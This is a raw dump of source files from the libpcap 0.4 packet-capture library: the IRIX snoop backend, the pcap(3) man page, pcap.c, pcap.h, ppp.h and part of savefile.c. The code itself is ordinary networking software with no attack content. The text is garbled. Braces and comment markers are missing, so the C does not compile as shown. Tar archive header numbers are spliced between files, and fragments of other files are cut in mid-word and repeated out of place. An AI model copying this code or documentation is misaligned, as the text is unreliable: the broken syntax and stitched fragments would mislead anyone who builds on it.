 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: pcap-snoop.c,v 1.20 97/04/08 21:06:17 leres Exp $ (LBL)";
#endif
#include <sys/param.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <net/raw.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <netinet/ip_var.h>
#include <netinet/udp.h>
#include <netinet/udp_var.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "pcap-int.h"
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
      int cc;
      register struct snoopheader *sh;
      register int datalen;
      register int caplen;
      register u_char *cp;
again:
      cc = read(p->fd, (char *)p->buffer, p->bufsize);
      if (cc < 0) {
            /* Don't choke when we get ptraced */
            switch (errno) {
            case EINTR:
                        goto again;
            case EWOULDBLOCK:
                  return (0);              /* XXX */
            sprintf(p->errbuf, "read: %s", pcap_strerror(errno));
            return (-1);
      sh = (struct snoopheader *)p->buffer;
      datalen = sh->snoop_packetlen;
      caplen = (datalen < p->snapshot) ? datalen : p->snapshot;
      cp = (u_char *)(sh + 1) + p->offset;        /* XXX */
      if (p->fcode.bf_insns == NULL ||
          bpf_filter(p->fcode.bf_insns, cp, datalen, caplen)) {
            struct pcap_pkthdr h;
            ++p->md.stat.ps_recv;
            h.ts = sh->snoop_timestamp;
            h.len = datalen;
            h.caplen = caplen;
            (*callback)(user, &h, cp);
            return (1);
      return (0);
pcap_stats(pcap_t *p, struct pcap_stat *ps)
      register struct rawstats *rs;
      struct rawstats rawstats;
      rs = &rawstats;
      bzero((char *)rs, sizeof(*rs));
      if (ioctl(p->fd, SIOCRAWSTATS, (char *)rs) < 0) {
            sprintf(p->errbuf, "SIOCRAWSTATS: %s", pcap_strerror(errno));
            return (-1);
      p->md.stat.ps_drop =
          rs->rs_snoop.ss_ifdrops + rs->rs_snoop.ss_sbdrops +
          rs->rs_drain.ds_ifdrops + rs->rs_drain.ds_sbdrops;
      *ps = p->md.stat;
      return (0);
/* XXX can't disable promiscuous */
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
      int fd;
      struct sockaddr_raw sr;
      struct snoopfilter sf;
      u_int v;
      pcap_t *p;
      p = (pcap_t *)malloc(sizeof(*p));
      if (p == NULL) {
            sprintf(ebuf, "malloc: %s", pcap_strerror(errno));
            return (NULL);
      bzero((char *)p, sizeof(*p));
      fd = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP);
      if (fd < 0) {
            sprintf(ebuf, "snoop socket: %s", pcap_strerror(errno));
            goto bad;
      p->fd = fd;
      bzero((char *)&sr, sizeof(sr));
      sr.sr_family = AF_RAW;
      (void)strncpy(sr.sr_ifname, device, sizeof(sr.sr_ifname));
      if (bind(fd, (struct sockaddr *)&sr, sizeof(sr))) {
            sprintf(ebuf, "snoop bind: %s", pcap_strerror(errno));
            goto bad;
      bzero((char *)&sf, sizeof(sf));
      if (ioctl(fd, SIOCADDSNOOP, &sf) < 0) {
            sprintf(ebuf, "SIOCADDSNOOP: %s", pcap_strerror(errno));
            goto bad;
      v = 64 * 1024;
      (void)setsockopt(fd, SOL_SOCKET, SO_RCVBUF, (char *)&v, sizeof(v));
      if (ioctl(fd, SIOCSNOOPLEN, &snaplen) < 0) {
            sprintf(ebuf, "SIOCSNOOPLEN: %s", pcap_strerror(errno));
            goto bad;
      p->snapshot = snaplen;
      v = 1;
      if (ioctl(fd, SIOCSNOOPING, &v) < 0) {
            sprintf(ebuf, "SIOCSNOOPING: %s", pcap_strerror(errno));
            goto bad;
       * XXX hack - map device name to link layer type
       */
      if (strncmp("et", device, 2) == 0 ||      /* Challenge 10 Mbit */
          strncmp("ec", device, 2) == 0 ||      /* Indigo/Indy 10 Mbit,
                                       O2 10/100 */
          strncmp("ef", device, 2) == 0 ||      /* O200/2000 10/100 Mbit */
          strncmp("gfe", device, 3) == 0 ||      /* GIO 100 Mbit */
          strncmp("fxp", device, 3) == 0 ||      /* Challenge VME Enet */
          strncmp("ep", device, 2) == 0 ||      /* Challenge 8x10 Mbit EPLEX */
          strncmp("vfe", device, 3) == 0 ||      /* Challenge VME 100Mbit */
          strncmp("fa", device, 2) == 0 ||
          strncmp("qaa", device, 3) == 0) {
            p->linktype = DLT_EN10MB;
            p->offset = RAW_HDRPAD(sizeof(struct ether_header));
      } else if (strncmp("ipg", device, 3) == 0 ||
               strncmp("rns", device, 3) == 0 ||      /* O2/200/2000 FDDI */
               strncmp("xpi", device, 3) == 0) {
            p->linktype = DLT_FDDI;
            p->offset = 3;                        /* XXX yeah? */
      } else if (strncmp("ppp", device, 3) == 0) {
            p->linktype = DLT_RAW;
      } else if (strncmp("lo", device, 2) == 0) {
            p->linktype = DLT_NULL;
      } else {
            sprintf(ebuf, "snoop: unknown physical layer type");
            goto bad;
      p->bufsize = 4096;                   /* XXX */
      p->buffer = (u_char *)malloc(p->bufsize);
      if (p->buffer == NULL) {
            sprintf(ebuf, "malloc: %s", pcap_strerror(errno));
            goto bad;
      return (p);
 bad:
      (void)close(fd);
      free(p);
      return (NULL);
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
      p->fcode = *fp;
      return (0);
en = sizeof(chunksize);
      si.ic_dp = (char *)&chunksize;
      if (ioctl(fd, I_STR, (char *)&si) < 0) {
            sprintf(ebuf, "NIOCSCHUNK: %s", pcap_strerror(errlibpcap-0.4/pcap.3
   444
  1774
    34
      20513  6544336050   7103
.\" Copyright (c) 1994, 1996, 1997
.\"   The Regents of the University of California.  All rights reserved.
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that: (1) source code distributions
.\" retain the above copyright notice and this paragraph in its entirety, (2)
.\" distributions including binary code include the above copyright notice and
.\" this paragraph in its entirety in the documentation or other materials
.\" provided with the distribution, and (3) all advertising materials mentioning
.\" features or use of this software display the following acknowledgement:
.\" ``This product includes software developed by the University of California,
.\" Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
.\" the University nor the names of its contributors may be used to endorse
.\" or promote products derived from this software without specific prior
.\" written permission.
.\" THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
.\" WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
.\" MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
.TH PCAP 3  "24 June 1998"
.SH NAME
pcap \- Packet Capture library
.SH SYNOPSIS
.ft B
#include <pcap.h>
.ft B
pcap_t *pcap_open_live(char *device, int snaplen,
.ti +8
int promisc, int to_ms, char *ebuf)
pcap_t *pcap_open_offline(char *fname, char *ebuf)
pcap_dumper_t *pcap_dump_open(pcap_t *p, char *fname)
.ft B
char errbuf[PCAP_ERRBUF_SIZE];
char *pcap_lookupdev(char *errbuf)
int pcap_lookupnet(char *device, bpf_u_int32 *netp,
.ti +8
bpf_u_int32 *maskp, char *errbuf)
.ft B
int pcap_dispatch(pcap_t *p, int cnt,
.ti +8
pcap_handler callback, u_char *user)
int pcap_loop(pcap_t *p, int cnt,
.ti +8
pcap_handler callback, u_char *user)
void pcap_dump(u_char *user, struct pcap_pkthdr *h,
.ti +8
u_char *sp)
.ft B
int pcap_compile(pcap_t *p, struct bpf_program *fp,
.ti +8
char *str, int optimize, bpf_u_int32 netmask)
int pcap_setfilter(pcap_t *p, struct bpf_program *fp)
.ft B
u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h)
.ft B
int pcap_datalink(pcap_t *p)
int pcap_snapshot(pcap_t *p)
int pcap_is_swapped(pcap_t *p)
int pcap_major_version(pcap_t *p)
int pcap_minor_version(pcap_t *p)
int pcap_stats(pcap_t *p, struct pcap_stat *ps)
FILE *pcap_file(pcap_t *p)
int pcap_fileno(pcap_t *p)
void pcap_perror(pcap_t *p, char *prefix)
char *pcap_geterr(pcap_t *p)
char *pcap_strerror(int error)
.ft B
void pcap_close(pcap_t *p)
void pcap_dump_close(pcap_dumper_t *p)
.SH DESCRIPTION
The Packet Capture library
provides a high level interface to packet capture systems. All packets
on the network, even those destined for other hosts, are accessible
through this mechanism.
.SH ROUTINES
.B pcap_open_live()
is used to obtain a packet capture descriptor to look
at packets on the network.
.I device
is a string that specifies the network device to open.
.I snaplen
specifies the maximum number of bytes to capture.
.I promisc
specifies if the interface is to be put into promiscuous mode.
(Note that even if this parameter is false, the interface
could well be in promiscuous mode for some other reason.)
.I to_ms
specifies the read timeout in milliseconds.
.I ebuf
is used to return error text and is only set when
.B pcap_open_live()
fails and returns
.BR NULL .
.B pcap_open_offline()
is called to open a ``savefile'' for reading.
.I fname
specifies the name of the file to open. The file has
the same format as those used by
.B tcpdump(1)
.BR tcpslice(1) .
The name "-" in a synonym for
.BR stdin .
.I ebuf
is used to return error text and is only set when
.B pcap_open_offline()
fails and returns
.BR NULL .
.B pcap_dump_open()
is called to open a ``savefile'' for writing. The name "-" in a synonym
.BR stdout .
.B NULL
is returned on failure.
.I p
is a
.I pcap
struct as returned by
.B pcap_open_offline()
.BR pcap_open_live() .
.I fname
specifies the name of the file to open.
.B NULL
is returned,
.B pcap_geterr()
can be used to get the error text.
.B pcap_lookupdev()
returns a pointer to a network device suitable for use with
.B pcap_open_live()
.BR pcap_lookupnet() .
If there is an error,
.B NULL
is returned and
.I errbuf
is filled in with with an appropriate error message.
.B pcap_lookupnet()
is used to determine the network number and mask
associated with the network device
.BR device .
Both
.I netp
.I maskp
.I bpf_u_int32
pointers.
A return of -1 indicates an error in which case
.I errbuf
is filled in with with an appropriate error message.
.B pcap_dispatch()
is used to collect and process packets.
.I cnt
specifies the maximum number of packets to process before returning. A
.I cnt
of -1 processes all the packets received in one buffer. A
.I cnt
of 0 processes all packets until an error occurs,
.B EOF
is reached, or the read times out (when doing live reads and a non-zero
read timeout is specified).
.I callback
specifies a routine to be called with three arguments:
.I u_char
pointer which is passed in from
.BR pcap_dispatch() ,
a pointer to the
.I pcap_pkthdr
struct (which precede the actual network headers and data),
and a
.I u_char
pointer to the packet data. The number of packets read is returned.
Zero is returned when
.B EOF
is reached in a ``savefile.'' A return of -1 indicates
an error in which case
.B pcap_perror()
.BR pcap_geterr()
may be used to display the error text.
.B pcap_dump()
outputs a packet to the ``savefile'' opened with
.BR pcap_dump_open() .
Note that its calling arguments are suitable for use with
.BR pcap_dispatch() .
.B pcap_compile()
is used to compile the string
.I str
into a filter program.
.I program
is a pointer to a
.I bpf_program
struct and is filled in by
.BR pcap_compile() .
.I optimize
controls whether optimization on the resulting code is performed.
.I netmask
specifies the netmask of the local net.
.B pcap_setfilter()
is used to specify a filter program.
.I fp
is a pointer to an array of
.I bpf_program
struct, usually the result of a call to
.BR pcap_compile() .
.B \-1
is returned on failure;
.B 0
is returned on success.
.B pcap_loop()
is similar to
.B pcap_dispatch()
except it keeps reading packets until
.I cnt
packets are processed or an error occurs.
It does
.B not
return when live read timeouts occur.
Rather, specifying a non-zero read timeout to
.B pcap_open_live()
and then calling
.B pcap_dispatch()
allows the reception and processing of any packets that arrive when the
timeout occurs.
A negative
.I cnt
causes
.B pcap_loop()
to loop forever (or at least until an error occurs).
.B pcap_next()
returns a
.I u_char
pointer to the next packet.
.B pcap_datalink()
returns the link layer type, e.g.
.BR DLT_EN10MB .
.B pcap_snapshot()
returns the snapshot length specified when
.B pcap_open_live
was called.
.B pcap_is_swapped()
returns true if the current ``savefile'' uses a different byte order
than the current system.
.B pcap_major_version()
returns the major number of the version of the pcap used to write the
savefile.
.B pcap_minor_version()
returns the minor number of the version of the pcap used to write the
savefile.
.B pcap_file()
returns the name of the ``savefile.''
.B int pcap_stats()
returns 0 and fills in a
.B pcap_stat
struct. The values represent packet statistics from the start of the
run to the time of the call. If there is an error or the under lying
packet capture doesn't support packet statistics, -1 is returned and
the error text can be obtained with
.B pcap_perror()
.BR pcap_geterr() .
.B pcap_fileno()
returns the file descriptor number of the ``savefile.''
.B pcap_perror()
prints the text of the last pcap library error on
.BR stderr ,
prefixed by
.IR prefix .
.B pcap_geterr()
returns the error text pertaining to the last pcap library error.
.B pcap_strerror()
is provided in case
.BR strerror (1)
isn't available.
.B pcap_close()
closes the files associated with
.I p
and deallocates resources.
.B pcap_dump_close()
closes the ``savefile.''
.SH SEE ALSO
tcpdump(1), tcpslice(1)
.SH AUTHORS
Van Jacobson,
Craig Leres and
Steven McCanne, all of the
Lawrence Berkeley National Laboratory, University of California, Berkeley, CA.
The current version is available via anonymous ftp:
.I ftp://ftp.ee.lbl.gov/libpcap.tar.Z
.SH BUGS
Please send bug reports to libpcap@ee.lbl.gov.
 the network number and mask
associated with the network device
.BR device .
Both
.I netp
.I maskp
.I bpf_u_int32
pointers.
A return of -1 indicates an error in which case
.libpcap-0.4/pcap.c
   444
  1774
    34
      10655  6552214553   7173
 * Copyright (c) 1993, 1994, 1995, 1996, 1997, 1998
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *    This product includes software developed by the Computer Systems
 *      Engineering Group at Lawrence Berkeley Laboratory.
 * 4. Neither the name of the University nor of the Laboratory may be used
 *    to endorse or promote products derived from this software without
 *    specific prior written permission.
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: pcap.c,v 1.29 98/07/12 13:15:39 leres Exp $ (LBL)";
#endif
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#include "pcap-int.h"
pcap_dispatch(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
      if (p->sf.rfile != NULL)
            return (pcap_offline_read(p, cnt, callback, user));
      return (pcap_read(p, cnt, callback, user));
pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
      register int n;
      for (;;) {
            if (p->sf.rfile != NULL)
                  n = pcap_offline_read(p, cnt, callback, user);
            else {
                  /*
                   * XXX keep reading until we get something
                   * (or an error occurs)
                   */
                  do {
                        n = pcap_read(p, cnt, callback, user);
                  } while (n == 0);
            if (n <= 0)
                  return (n);
            if (cnt > 0) {
                  cnt -= n;
                  if (cnt <= 0)
                        return (0);
struct singleton {
      struct pcap_pkthdr *hdr;
      const u_char *pkt;
static void
pcap_oneshot(u_char *userData, const struct pcap_pkthdr *h, const u_char *pkt)
      struct singleton *sp = (struct singleton *)userData;
      *sp->hdr = *h;
      sp->pkt = pkt;
const u_char *
pcap_next(pcap_t *p, struct pcap_pkthdr *h)
      struct singleton s;
      s.hdr = h;
      if (pcap_dispatch(p, 1, pcap_oneshot, (u_char*)&s) <= 0)
            return (0);
      return (s.pkt);
pcap_datalink(pcap_t *p)
      return (p->linktype);
pcap_snapshot(pcap_t *p)
      return (p->snapshot);
pcap_is_swapped(pcap_t *p)
      return (p->sf.swapped);
pcap_major_version(pcap_t *p)
      return (p->sf.version_major);
pcap_minor_version(pcap_t *p)
      return (p->sf.version_minor);
FILE *
pcap_file(pcap_t *p)
      return (p->sf.rfile);
pcap_fileno(pcap_t *p)
      return (p->fd);
void
pcap_perror(pcap_t *p, char *prefix)
      fprintf(stderr, "%s: %s\n", prefix, p->errbuf);
char *
pcap_geterr(pcap_t *p)
      return (p->errbuf);
 * Not all systems have strerror().
char *
pcap_strerror(int errnum)
#ifdef HAVE_STRERROR
      return (strerror(errnum));
#else
      extern int sys_nerr;
      extern const char *const sys_errlist[];
      static char ebuf[20];
      if ((unsigned int)errnum < sys_nerr)
            return ((char *)sys_errlist[errnum]);
      (void)sprintf(ebuf, "Unknown error: %d", errnum);
      return(ebuf);
#endif
void
pcap_close(pcap_t *p)
      /*XXX*/
      if (p->fd >= 0)
            close(p->fd);
      if (p->sf.rfile != NULL) {
            (void)fclose(p->sf.rfile);
            if (p->sf.base != NULL)
                  free(p->sf.base);
      } else if (p->buffer != NULL)
            free(p->buffer);
#ifdef linux
      if (p->md.device != NULL)
            free(p->md.device);
#endif
      free(p);
#endif
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <libpcap-0.4/pcap.h
   444
  1774
    34
      11460  6421317444   7171
 * Copyright (c) 1993, 1994, 1995, 1996, 1997
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *    This product includes software developed by the Computer Systems
 *      Engineering Group at Lawrence Berkeley Laboratory.
 * 4. Neither the name of the University nor of the Laboratory may be used
 *    to endorse or promote products derived from this software without
 *    specific prior written permission.
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 * @(#) $Header: pcap.h,v 1.21 97/10/15 21:59:13 leres Exp $ (LBL)
#ifndef lib_pcap_h
#define lib_pcap_h
#include <sys/types.h>
#include <sys/time.h>
#include <net/bpf.h>
#include <stdio.h>
#define PCAP_VERSION_MAJOR 2
#define PCAP_VERSION_MINOR 4
#define PCAP_ERRBUF_SIZE 256
 * Compatibility for systems that have a bpf.h that
 * predates the bpf typedefs for 64-bit support.
#if BPF_RELEASE - 0 < 199406
typedef      int bpf_int32;
typedef      u_int bpf_u_int32;
#endif
typedef struct pcap pcap_t;
typedef struct pcap_dumper pcap_dumper_t;
 * The first record in the file contains saved values for some
 * of the flags used in the printout phases of tcpdump.
 * Many fields here are 32 bit ints so compilers won't insert unwanted
 * padding; these files need to be interchangeable across architectures.
struct pcap_file_header {
      bpf_u_int32 magic;
      u_short version_major;
      u_short version_minor;
      bpf_int32 thiszone;      /* gmt to local correction */
      bpf_u_int32 sigfigs;      /* accuracy of timestamps */
      bpf_u_int32 snaplen;      /* max length saved portion of each pkt */
      bpf_u_int32 linktype;      /* data link type (DLT_*) */
 * Each packet in the dump file is prepended with this generic header.
 * This gets around the problem of different headers for different
 * packet interfaces.
struct pcap_pkthdr {
      struct timeval ts;      /* time stamp */
      bpf_u_int32 caplen;      /* length of portion present */
      bpf_u_int32 len;      /* length this packet (off wire) */
 * As returned by the pcap_stats()
struct pcap_stat {
      u_int ps_recv;          /* number of packets received */
      u_int ps_drop;          /* number of packets dropped */
      u_int ps_ifdrop;      /* drops by interface XXX not yet supported */
typedef void (*pcap_handler)(u_char *, const struct pcap_pkthdr *,
                       const u_char *);
char      *pcap_lookupdev(char *);
int      pcap_lookupnet(char *, bpf_u_int32 *, bpf_u_int32 *, char *);
pcap_t      *pcap_open_live(char *, int, int, int, char *);
pcap_t      *pcap_open_offline(const char *, char *);
void      pcap_close(pcap_t *);
int      pcap_loop(pcap_t *, int, pcap_handler, u_char *);
int      pcap_dispatch(pcap_t *, int, pcap_handler, u_char *);
const u_char*
      pcap_next(pcap_t *, struct pcap_pkthdr *);
int      pcap_stats(pcap_t *, struct pcap_stat *);
int      pcap_setfilter(pcap_t *, struct bpf_program *);
void      pcap_perror(pcap_t *, char *);
char      *pcap_strerror(int);
char      *pcap_geterr(pcap_t *);
int      pcap_compile(pcap_t *, struct bpf_program *, char *, int,
          bpf_u_int32);
/* XXX */
int      pcap_freecode(pcap_t *, struct bpf_program *);
int      pcap_datalink(pcap_t *);
int      pcap_snapshot(pcap_t *);
int      pcap_is_swapped(pcap_t *);
int      pcap_major_version(pcap_t *);
int      pcap_minor_version(pcap_t *);
/* XXX */
FILE      *pcap_file(pcap_t *);
int      pcap_fileno(pcap_t *);
pcap_dumper_t *pcap_dump_open(pcap_t *, const char *);
void      pcap_dump_close(pcap_dumper_t *);
void      pcap_dump(u_char *, const struct pcap_pkthdr *, const u_char *);
/* XXX this guy lives in the bpf tree */
u_int      bpf_filter(struct bpf_insn *, u_char *, u_int, u_int);
char      *bpf_image(struct bpf_insn *, int);
#endif
p_is_swapped()
returns true if the current ``savefile'' uses a different byte order
than the current system.
.B pcap_major_version()
returns the major number of the version of the pcap used to write the
slibpcap-0.4/ppp.h
   644
  1774
    34
       4505  6261376223   7033
/* @(#) $Header: ppp.h,v 1.7 95/05/04 17:52:46 mccanne Exp $ (LBL) */
 * Point to Point Protocol (PPP) RFC1331
 * Copyright 1989 by Carnegie Mellon.
 * Permission to use, copy, modify, and distribute this program for any
 * purpose and without fee is hereby granted, provided that this copyright
 * and permission notice appear on all copies and supporting documentation,
 * the name of Carnegie Mellon not be used in advertising or publicity
 * pertaining to distribution of the program without specific prior
 * permission, and notice be given in supporting documentation that copying
 * and distribution is by permission of Carnegie Mellon and Stanford
 * University.  Carnegie Mellon makes no representations about the
 * suitability of this software for any purpose.  It is provided "as is"
 * without express or implied warranty.
#define PPP_ADDRESS      0xff      /* The address byte value */
#define PPP_CONTROL      0x03      /* The control byte value */
/* Protocol numbers */
#define PPP_IP            0x0021      /* Raw IP */
#define PPP_OSI           0x0023      /* OSI Network Layer */
#define PPP_NS            0x0025      /* Xerox NS IDP */
#define PPP_DECNET      0x0027      /* DECnet Phase IV */
#define PPP_APPLE      0x0029      /* Appletalk */
#define PPP_IPX           0x002b      /* Novell IPX */
#define PPP_VJC           0x002d      /* Van Jacobson Compressed TCP/IP */
#define PPP_VJNC      0x002f      /* Van Jacobson Uncompressed TCP/IP */
#define PPP_BRPDU      0x0031      /* Bridging PDU */
#define PPP_STII      0x0033      /* Stream Protocol (ST-II) */
#define PPP_VINES      0x0035      /* Banyan Vines */
#define PPP_HELLO      0x0201      /* 802.1d Hello Packets */
#define PPP_LUXCOM      0x0231      /* Luxcom */
#define PPP_SNS           0x0233      /* Sigma Network Systems */
#define PPP_IPCP      0x8021      /* IP Control Protocol */
#define PPP_OSICP      0x8023      /* OSI Network Layer Control Protocol */
#define PPP_NSCP      0x8025      /* Xerox NS IDP Control Protocol */
#define PPP_DECNETCP      0x8027      /* DECnet Control Protocol */
#define PPP_APPLECP      0x8029      /* Appletalk Control Protocol */
#define PPP_IPXCP      0x802b      /* Novell IPX Control Protocol */
#define PPP_STIICP      0x8033      /* Strean Protocol Control Protocol */
#define PPP_VINESCP      0x8035      /* Banyan Vines Control Protocol */
#define PPP_LCP           0xc021      /* Link Control Protocol */
#define PPP_PAP           0xc023      /* Password Authentication Protocol */
#define PPP_LQM           0xc025      /* Link Quality Monitoring */
#define PPP_CHAP      0xc223      /* Challenge Handshake Authentication Protocol */
ndler, u_char *);
int      pcap_dispatch(pcap_t *, int, pcap_handler, u_char *);
const u_char*
      pcap_next(pcap_t *, struct pcap_pkthdr *);
int      pcap_stats(pcap_t *, struct pcap_stat *);
int      pcalibpcap-0.4/savefile.c
   444
  1774
    34
      22135  6421317433  10036
 * Copyright (c) 1993, 1994, 1995, 1996, 1997
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 * savefile.c - supports offline use of tcpdump
 *      Extraction/creation by Jeffrey Mogul, DECWRL
 *      Modified by Steve McCanne, LBL.
 * Used to save the received packet headers, after filtering, to
 * a file, and then read them later.
 * The first record in the file contains saved values for the machine
 * dependent values so we can print the dump file on any architecture.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: savefile.c,v 1.37 97/10/15 21:58:58 leres Exp $ (LBL)";
#endif
#include <sys/types.h>
#include <sys/time.h>
#include <errno.h>
#include <memory.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "pcap-int.h"
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#define TCPDUMP_MAGIC 0xa1b2c3d4
 * We use the "receiver-makes-right" approach to byte order,
 * because time is at a premium when we are writing the file.
 * In other words, the pcap_file_header and pcap_pkthdr,
 * records are written in host byte order.
 * Note that the packets are always written in network byte order.
 * ntoh[ls] aren't sufficient because we might need to swap on a big-endian
 * machine (if the file was written in little-end order).
#define      SWAPLONG(y) \
((((y)&0xff)<<24) | (((y)&0xff00)<<8) | (((y)&0xff0000)>>8) | (((y)>>24)&0xff))
#define      SWAPSHORT(y) \
      ( (((y)&0xff)<<8) | ((u_short)((y)&0xff00)>>8) )
#define SFERR_TRUNC       1
#define SFERR_BADVERSION  2
#define SFERR_BADF        3
#define SFERR_EOF         4 /* not really an error, just a status */
static int
sf_write_header(FILE *fp, int linktype, int thiszone, int snaplen)
      struct pcap_file_header hdr;
      hdr.magic = TCPDUMP_MAGIC;
      hdr.version_major = PCAP_VERSION_MAJOR;
      hdr.version_minor = PCAP_VERSION_MINOR;
      hdr.thiszone = thiszone;
      hdr.snaplen = snaplen;
      hdr.sigfigs = 0;
      hdr.linktype = linktype;
      if (fwrite((char *)&hdr, sizeof(hdr), 1, fp) != 1)
            return (-1);
      return (0);
static void
swap_hdr(struct pcap_file_header *hp)
      hp->version_major = SWAPSHORT(hp->version_major);
      hp->version_minor = SWAPSHORT(hp->version_minor);
      hp->thiszone = SWAPLONG(hp->thiszone);
      hp->sigfigs = SWAPLONG(hp->sigfigs);
      hp->snaplen = SWAPLONG(hp->snaplen);
      hp->linktype = SWAPLONG(hp->linktype);
pcap_t *
pcap_open_offline(const char *fname, char *errbuf)
      register pcap_t *p;
      register FILE *fp;
      struct pcap_file_header hdr;
      int linklen;
      p = (pcap_t *)malloc(sizeof(*p));
      if (p == NULL) {
            strcpy(errbuf, "out of swap");
            return (NULL);
      memset((char *)p, 0, sizeof(*p));
       * Set this field so we don't close stdin in pcap_close!
       */
      p->fd = -1;
      if (fname[0] == '-' && fname[1] == '\0')
            fp = stdin;
      else {
            fp = fopen(fname, "r");
            if (fp == NULL) {
                  sprintf(errbuf, "%s: %s", fname, pcap_strerror(errno));
                  goto bad;
      if (fread((char *)&hdr, sizeof(hdr), 1, fp) != 1) {
            sprintf(errbuf, "fread: %s", pcap_strerror(errno));
            goto bad;
      if (hdr.magic != TCPDUMP_MAGIC) {
            if (SWAPLONG(hdr.magic) != TCPDUMP_MAGIC) {
                  sprintf(errbuf, "bad dump file format");
                  goto bad;
            p->sf.swapped = 1;
            swap_hdr(&hdr);
